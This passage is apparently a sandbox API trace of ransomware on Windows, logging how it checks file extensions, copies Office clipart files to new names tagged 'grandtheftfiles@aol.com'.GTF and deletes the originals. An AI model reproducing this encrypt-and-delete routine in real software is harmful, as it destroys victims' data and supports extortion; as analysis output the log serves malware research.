	[0088.077] lstrlenW (lpString=".rar") returned 4
	[0088.077] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.077] lstrlenW (lpString=".bz2") returned 4
	[0088.077] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.077] lstrlenW (lpString=".7z") returned 3
	[0088.077] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0088.077] lstrlenW (lpString=".dbf") returned 4
	[0088.077] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0088.077] lstrlenW (lpString=".1cd") returned 4
	[0088.077] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0088.077] lstrlenW (lpString=".jpg") returned 4
	[0088.078] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.078] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.078] lstrlenW (lpString="FD02071_.WMF") returned 12
	[0088.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.078] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=2188) returned 1
	[0088.078] CloseHandle (hObject=0x378) returned 1
	[0088.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf")) returned 0x220
	[0088.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.078] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.078] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0088.079] GetLastError () returned 0x0
	[0088.079] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x88c, lpOverlapped=0x0) returned 1
	[0088.080] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x890, lpOverlapped=0x0) returned 1
	[0088.081] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.081] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.081] SetEndOfFile (hFile=0x35c) returned 1
	[0088.082] CloseHandle (hObject=0x35c) returned 1
	[0088.082] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.082] SetEndOfFile (hFile=0x378) returned 1
	[0088.083] CloseHandle (hObject=0x378) returned 1
	[0088.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.083] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf")) returned 1
	[0088.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0088.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0088.083] lstrlenW (lpString=".doc") returned 4
	[0088.083] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.083] lstrlenW (lpString=".docx") returned 5
	[0088.083] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.083] lstrlenW (lpString=".pdf") returned 4
	[0088.083] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.083] lstrlenW (lpString=".xls") returned 4
	[0088.083] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.083] lstrlenW (lpString=".xlsx") returned 5
	[0088.083] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.083] lstrlenW (lpString=".ppt") returned 4
	[0088.083] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0088.083] lstrlenW (lpString=".zip") returned 4
	[0088.083] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.083] lstrlenW (lpString=".rar") returned 4
	[0088.083] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.083] lstrlenW (lpString=".bz2") returned 4
	[0088.084] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.084] lstrlenW (lpString=".7z") returned 3
	[0088.084] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0088.084] lstrlenW (lpString=".dbf") returned 4
	[0088.084] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0088.084] lstrlenW (lpString=".1cd") returned 4
	[0088.084] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0088.084] lstrlenW (lpString=".jpg") returned 4
	[0088.084] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0088.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0088.084] lstrlenW (lpString=".doc") returned 4
	[0088.084] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.084] lstrlenW (lpString=".docx") returned 5
	[0088.084] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.084] lstrlenW (lpString=".pdf") returned 4
	[0088.084] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.084] lstrlenW (lpString=".xls") returned 4
	[0088.084] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.084] lstrlenW (lpString=".xlsx") returned 5
	[0088.084] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.084] lstrlenW (lpString=".ppt") returned 4
	[0088.084] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0088.084] lstrlenW (lpString=".zip") returned 4
	[0088.084] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.084] lstrlenW (lpString=".rar") returned 4
	[0088.084] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.084] lstrlenW (lpString=".bz2") returned 4
	[0088.084] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.084] lstrlenW (lpString=".7z") returned 3
	[0088.084] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0088.084] lstrlenW (lpString=".dbf") returned 4
	[0088.085] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0088.085] lstrlenW (lpString=".1cd") returned 4
	[0088.085] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0088.085] lstrlenW (lpString=".jpg") returned 4
	[0088.085] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.085] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.085] lstrlenW (lpString="FD02075_.WMF") returned 12
	[0088.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.085] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=4396) returned 1
	[0088.085] CloseHandle (hObject=0x378) returned 1
	[0088.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf")) returned 0x220
	[0088.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.085] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.086] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0088.086] GetLastError () returned 0x0
	[0088.086] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x112c, lpOverlapped=0x0) returned 1
	[0088.087] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x1130, lpOverlapped=0x0) returned 1
	[0088.090] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.090] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.090] SetEndOfFile (hFile=0x35c) returned 1
	[0088.090] CloseHandle (hObject=0x35c) returned 1
	[0088.090] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.090] SetEndOfFile (hFile=0x378) returned 1
	[0088.091] CloseHandle (hObject=0x378) returned 1
	[0088.091] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.091] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf")) returned 1
	[0088.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0088.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0088.091] lstrlenW (lpString=".doc") returned 4
	[0088.091] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.091] lstrlenW (lpString=".docx") returned 5
	[0088.092] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.092] lstrlenW (lpString=".pdf") returned 4
	[0088.092] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.092] lstrlenW (lpString=".xls") returned 4
	[0088.092] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.092] lstrlenW (lpString=".xlsx") returned 5
	[0088.092] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.092] lstrlenW (lpString=".ppt") returned 4
	[0088.092] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0088.092] lstrlenW (lpString=".zip") returned 4
	[0088.092] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.092] lstrlenW (lpString=".rar") returned 4
	[0088.092] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.092] lstrlenW (lpString=".bz2") returned 4
	[0088.092] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.092] lstrlenW (lpString=".7z") returned 3
	[0088.092] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0088.092] lstrlenW (lpString=".dbf") returned 4
	[0088.092] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0088.092] lstrlenW (lpString=".1cd") returned 4
	[0088.092] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0088.092] lstrlenW (lpString=".jpg") returned 4
	[0088.092] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0088.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0088.092] lstrlenW (lpString=".doc") returned 4
	[0088.092] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.092] lstrlenW (lpString=".docx") returned 5
	[0088.092] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.092] lstrlenW (lpString=".pdf") returned 4
	[0088.092] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.092] lstrlenW (lpString=".xls") returned 4
	[0088.092] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.093] lstrlenW (lpString=".xlsx") returned 5
	[0088.093] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.093] lstrlenW (lpString=".ppt") returned 4
	[0088.093] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0088.093] lstrlenW (lpString=".zip") returned 4
	[0088.093] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.093] lstrlenW (lpString=".rar") returned 4
	[0088.093] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.093] lstrlenW (lpString=".bz2") returned 4
	[0088.093] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.093] lstrlenW (lpString=".7z") returned 3
	[0088.093] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0088.093] lstrlenW (lpString=".dbf") returned 4
	[0088.093] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0088.093] lstrlenW (lpString=".1cd") returned 4
	[0088.093] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0088.093] lstrlenW (lpString=".jpg") returned 4
	[0088.093] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.093] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.093] lstrlenW (lpString="FD02088_.WMF") returned 12
	[0088.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.588] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=3696) returned 1
	[0088.589] CloseHandle (hObject=0x378) returned 1
	[0088.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf")) returned 0x220
	[0088.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.589] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.589] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0088.590] GetLastError () returned 0x0
	[0088.590] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0xe70, lpOverlapped=0x0) returned 1
	[0088.592] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xe80, lpOverlapped=0x0) returned 1
	[0088.593] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.593] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.593] SetEndOfFile (hFile=0x35c) returned 1
	[0088.593] CloseHandle (hObject=0x35c) returned 1
	[0088.593] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.593] SetEndOfFile (hFile=0x378) returned 1
	[0088.594] CloseHandle (hObject=0x378) returned 1
	[0088.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.594] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf")) returned 1
	[0088.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0088.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0088.594] lstrlenW (lpString=".doc") returned 4
	[0088.594] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.595] lstrlenW (lpString=".docx") returned 5
	[0088.595] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.595] lstrlenW (lpString=".pdf") returned 4
	[0088.595] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.595] lstrlenW (lpString=".xls") returned 4
	[0088.595] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.595] lstrlenW (lpString=".xlsx") returned 5
	[0088.595] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.595] lstrlenW (lpString=".ppt") returned 4
	[0088.595] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0088.595] lstrlenW (lpString=".zip") returned 4
	[0088.595] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.595] lstrlenW (lpString=".rar") returned 4
	[0088.595] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.595] lstrlenW (lpString=".bz2") returned 4
	[0088.595] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.595] lstrlenW (lpString=".7z") returned 3
	[0088.595] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0088.595] lstrlenW (lpString=".dbf") returned 4
	[0088.595] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0088.595] lstrlenW (lpString=".1cd") returned 4
	[0088.595] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0088.595] lstrlenW (lpString=".jpg") returned 4
	[0088.595] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0088.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0088.595] lstrlenW (lpString=".doc") returned 4
	[0088.595] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.595] lstrlenW (lpString=".docx") returned 5
	[0088.595] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.595] lstrlenW (lpString=".pdf") returned 4
	[0088.595] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.596] lstrlenW (lpString=".xls") returned 4
	[0088.596] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.596] lstrlenW (lpString=".xlsx") returned 5
	[0088.596] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.596] lstrlenW (lpString=".ppt") returned 4
	[0088.596] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
